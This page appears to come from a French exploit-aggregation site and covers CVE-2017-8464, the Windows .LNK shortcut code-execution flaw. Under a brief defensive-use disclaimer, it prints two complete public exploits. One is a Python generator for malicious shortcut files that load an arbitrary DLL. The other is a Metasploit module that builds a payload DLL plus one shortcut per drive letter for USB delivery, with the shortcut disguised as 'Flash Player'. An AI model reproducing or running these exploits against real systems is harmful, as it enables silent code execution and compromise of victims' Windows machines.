Exploit matérialisé
CVE-2017-8464
CRITICAL KEV2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
local windows
Source
Microsoft Windows - '.LNK' Shortcut File Code Execution
Par nixawk
Comment tester cet exploit
Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.
python3 42429.py
Code py
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
# CVE : 2017-8464
# Authors : [ykoster, nixawk]
# Notice : Only for educational purposes.
# Support : python2
import struct
def generate_SHELL_LINK_HEADER():
# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | HeaderSize |
# -----------------------------------------------------------------
# | LinkCLSID (16 bytes) |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | LinkFlags |
# -----------------------------------------------------------------
# | FileAttributes |
# -----------------------------------------------------------------
# | CreationTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | AccessTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | WriteTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | FileSize |
# -----------------------------------------------------------------
# | IconIndex |
# -----------------------------------------------------------------
# | ShowCommand |
# -----------------------------------------------------------------
# | HotKey | Reserved1 |
# -----------------------------------------------------------------
# | Reserved2 |
# -----------------------------------------------------------------
# | Reserved3 |
# -----------------------------------------------------------------
shell_link_header = [
b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes)
b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes)
b'\x00\x00\x00\x00', # "FileSize" : (4 bytes)
b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes)
b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes)
b'\x00\x00', # "HotKey" : (2 bytes)
b'\x00\x00', # "Reserved1" : (2 bytes)
b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes)
b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes)
]
return b"".join(shell_link_header)
def generate_LINKTARGET_IDLIST(path, name):
# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | IDListSize | IDList(variable) |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# IDList = ItemID + ItemID + ... + TerminalID
# ItemID = ItemIDSize + Data
def generate_ItemID(Data):
itemid = [
struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data)
Data
]
# ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data)
# return ItemIDSize + Data
return b"".join(itemid)
def generate_cpl_applet(path, name=name):
name += b'\x00'
path += b'\x00'
bindata = [
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
struct.pack('H', len(path)),
struct.pack('H', len(name)),
path.encode('utf-16')[2:],
name.encode('utf-16')[2:],
b"\x00\x00" # comment
]
return b"".join(bindata)
idlist = [
# ItemIDList
generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(generate_cpl_applet(path)),
b'\x00\x00', # TerminalID
]
idlist = b"".join(idlist)
idlistsize = struct.pack('H', len(idlist))
linktarget_idlist = [
idlistsize,
idlist,
]
return b"".join(linktarget_idlist)
def generate_EXTRA_DATA():
# ExtraData refers to a set of structures that convey additional information about a link target. These
# optional structures can be present in an extra data section that is appended to the basic Shell Link
# Binary File Format.
# EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK
# EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
# ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
# KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
# SHIM_PROPS / SPECIAL_FOLDER_PROPS /
# TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS
# SpecialFolderDataBlock
# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | BlockSize |
# -----------------------------------------------------------------
# | BlockSignatire |
# -----------------------------------------------------------------
# | SpecialFolderID |
# -----------------------------------------------------------------
# | Offset |
# -----------------------------------------------------------------
extra_data = [
b'\x10\x00\x00\x00',
b'\x05\x00\x00\xA0',
b'\x03\x00\x00\x00',
b'\x28\x00\x00\x00',
b'\x00\x00\x00\x00' # TERMINAL_BLOCK
]
return b"".join(extra_data)
def ms_shllink(path, name=b"Microsoft"):
'''build Shell Link (.LNK) Binary File Format'''
lnk_format = [
# Structures
# SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
# [STRING_DATA] *EXTRA_DATA
# SHELL_LINK_HEADER:
# A ShelllinkHeader structure which contains identification information, timestamps, and
# flags that specify the presence of optional structures.
generate_SHELL_LINK_HEADER(),
# LINKTARGET_IDLIST:
# An optional LinkTargetIDList structure, which specifies the target of the link. The
# presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
#
#
generate_LINKTARGET_IDLIST(path, name),
# LINKINFO:
# An optional LinkInfo structure, which specifies information necessary to resolve the link target.
# The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.
# STRING_DATA:
# Zero or more optional StringData structures, which are used to convey user interface and path
# identification information. The presence of these structures is specified by bits in the ShellLinkHeader.
# STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
# [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]
# EXTRA_DATA:
# Zero or more ExtraData structures
generate_EXTRA_DATA()
]
return b"".join(lnk_format)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
sys.exit(0)
lnkpath = sys.argv[1]
dllpath = sys.argv[2]
bindata = ms_shllink(path=dllpath)
with open(lnkpath, 'wb') as lnkf:
lnkf.write(bindata)
## References
# 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
# 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
# 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
# 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
# 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
# 6. https://twitter.com/mkolsek/status/877499744704237568
# 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
# 8. https://github.com/rapid7/metasploit-framework/pull/8767
ExploitDB
local windows
Source
Microsoft Windows - '.LNK' Shortcut File Code Execution (Metasploit)
Par Yorick Koster
Comment tester cet exploit
Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.
ruby 42382.rb
Code rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
attr_accessor :exploit_dll_name
def initialize(info = {})
super(update_info(info,
'Name' => 'LNK Remote Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except in an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://paper.seebug.org/357/'], # writeup
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is 64-bit
'DisclosureDate' => 'Jun 13 2017'))
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
])
end
def exploit
dll = generate_payload_dll
dll_name = "#{rand_text_alpha(16)}.dll"
dll_path = store_file(dll, dll_name)
print_status("#{dll_path} created copy it to the root folder of the target USB drive")
# HACK the vulnerability doesn't appear to work with UNC paths
# Create LNK files to different drives instead
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
lnk = generate_link("#{i}:\\#{dll_name}")
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
end
end
def generate_link(path)
path << "\x00"
display_name = "Flash Player\x00" # LNK Display Name
comment = "\x00"
# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')
# IDList
idlist_data = ''
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# This PC
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# All Control Panel Items
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end
# Store the file in the MSF local directory (eg, /root/.msf4/local/)
def store_file(data, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
full_path.dup
end
end